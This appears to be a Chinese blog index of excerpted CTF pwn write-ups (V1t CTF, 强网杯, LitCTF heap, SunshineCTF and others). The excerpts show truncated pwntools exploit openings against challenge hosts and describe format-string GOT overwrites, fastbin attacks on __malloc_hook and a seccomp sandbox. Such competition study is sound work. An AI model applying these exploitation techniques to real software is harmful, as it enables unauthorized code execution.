V1t CTF 2025
0x00 前言n1 n1 打不过,被叫来打这个很多misc题的V1t CTF 2025了,挺简单的,又水一篇 主要是最近操作系统课在讲这个fork,遇到了类似的题,稍微记录一下。 0x01 题解Waddlerret2text from pwn import *from ctypes import *context(arch='amd64', log_level = 'debug',os = 'linux')file='./chall'elf=ELF(file)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')choice = 0x001if choice: port= 30210 target = 'chall.v1t.site' p = remote(target,port)else: p = process(file)s = lambda data ...
强网拟态 2025
0x00 前言SU天下第一!又蹭到了,贡献了一点点车联网,但是手慢+沙比了卡了挺久 0x01 题解Pwn - babystackint pwn(){ char s[24]; // [rsp+0h] [rbp-120h] BYREF char buf_[248]; // [rsp+18h] [rbp-108h] BYREF __int64 n180097847; // [rsp+110h] [rbp-10h] memset(s, 0, 0x110u); n180097847 = 180097847; printf("Enter your flag1:"); read(0, s, 0x18u); printf("Enter your flag2:"); read(0, buf_, 0x100u); printf("Nice!, %s, your flag2 is %s.\n", s, buf_); if ( n180097847 != 20150972 ) return...
强网杯 2025
0x00 前言一般路人,划水这一块 0x01 题解flag-market通过对oflag的输入能覆盖掉上面的You are so parsimonious,这样就有bss段上的格式化字符串了。接着利用这个把exit.got该成main,就制造出了无限次格式化字符串漏洞。原本程序的逻辑是碰到{之后结束循环,然后通过 memset 来清除残留的 flag ,我们直接把 memset.got 写成 puts.plt即可 from pwn import *from ctypes import *context(arch='amd64', log_level = 'debug',os = 'linux')file='/mnt/c/Users/Z2023/Desktop/flag_market/bin/chall'elf=ELF(file)context.binary = elfchoice = 0x001if choice: port= qwb = '' p...
LitCTF 2024 heap 通关记录
0x00 前言堆还是太弱了,所以决定补补,稍微了解一下不同版本的堆手法 0x01 题解同一个漏洞,全是 UAF,但是不同版本,先是一点一点慢慢啃吧 LitCTF 2024_heap-2.232.23 经典的 fast bin attack,还是比较简单的,通过制造 unsorted bin 来泄露 libc_base. 因为 free 函数这里没有对堆块指针置 0,打印堆块的函数中的检测形同虚设可以利用这点对已被释放的堆块进行打印,借此泄露出 libc_base接着依旧 uaf,编辑堆块的功能也因为 free 函数没有对管理堆块的指针置 0 而可以直接对被释放的堆块进行编辑,我们可以通过编辑被释放堆块的 fd 指针来将堆块申请到 __malloc_hook 附近,接着通过编辑堆块的功能来将 __malloc_hook 改写成 one_gadget from pwn import *from ctypes import *from struct import packimport gmpy2context.arch='amd64'context.os =...
2025羊城杯
0x00 前言:止步46,不知道说什么,还是太菜了 0x01 PWNmalloc不是正经堆题,但差不多。首先就是有沙箱,ban了execve和execveat line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006: 0x15...
Securinets CTF Quals 2025 PWN 题解
0x00 前言好耶,加进su了。花太多时间在那道shellcode上,没时间细看其他题了捏。后续加油复现一下 0x01 题解部分zip++check一下 Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)Stripped: No vuln()逻辑如下,没看出来什么问题,跟进一下compress其实当时我没看这个函数是干嘛的,用cyclic(0x300)测试能不能栈溢出的时候发现最后停在了这里,观察16进制数值不难发现其中都是一个可见字符的hex + 一个数字,比如这里就是0x2 61(a) 01 73(s) 01 66(f) 02 61(a) 同时程序中存在后门函数直接抄cyclic生成的垃圾数据然后稍微改改就行 from pwn import *context.arch='amd64'context.os =...
SunshineCTF 2025 PWN 题解
0x00 前言跟随SU的脚步,heap依旧是弱点。小众考点更是不用说 0x01 题解i95这个分类应该算baby pwn? Jupiter程序逻辑非常简单然后是测量字符串偏移,这里是5直接用pwntools自带的fmtstr_payload一把梭 from pwn import *from ctypes import *import structcontext.arch='amd64'context.os = 'linux'context.log_level = 'debug'file='/mnt/c/Users/Z2023/Desktop/jupiter'elf=ELF(file)choice = 0x001if choice: port= 25607 sun = 'chal.sunshinectf.games' p = remote(sun,port)else: p = process(file)s = lambda data ...
K17 CTF PWN 题解
0x01 前言依旧Redbud大佬carry,这次还来了个re大佬。最终排名 6/1325. 不得不说国际赛pwn题真的是小众又新奇。目前打了两次国际赛,看得出老外不是很喜欢出堆题。 0x02 题解部分ezwins How old can it be to win? 虽然这题不是我写的,是wallace哥ai梭出来的,但还是简单记录一下。程序逻辑如下同时程序中有后门函数,简单分析一下中间那坨省流,取我们的输入做为地址进行跳转,尝试写下payload sla('What\'s your name?\n',b'aaaa')sla('How old are you?\n',str(0x0000000004011F6)) 发现会卡在call的地址莫名其妙少了1字节,这里懒得深究了,我们在发送地址的时候左移8即可 完整EXP:from pwn import *from ctypes import *import structcontext.arch='amd64'context.os =...
Pwn College File Struct Exploits Level 1 ~ ?
0x00 事前准备这部分可以参考Pwn College Format String Exploits Level 1.0 ~ Level 9.1攻略的事前准备部分。依旧把payload用到的lambda函数放在这里 s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda ...
CTF@AC PWN题解
0x00 前言被Redbud的大佬 Wallace 带着打的第一个国际赛,rank global 24/234,最后倒在了Rust的手下,这个实在没办法,逆向逆不明白,等wp好好复现。个人解题情况如下,crypto就不写了www 0x01 題解sigdance Dance to the rhythm of your hear…SIGKILLED 个人认为这道实际上是一道 re 题目,题目给出了 main.c , plugin.c 以及 server.py。简单看下 main 吧 int main() { unsigned A, U; compute_counts(&A, &U); uint32_t PID = (uint32_t)getpid(); srand((unsigned)time(NULL) ^ PID ^ A ^ U); printf("Hello from pid8 = %u\n", (unsigned)(PID & 255u)); fflush(stdout); void *h =...









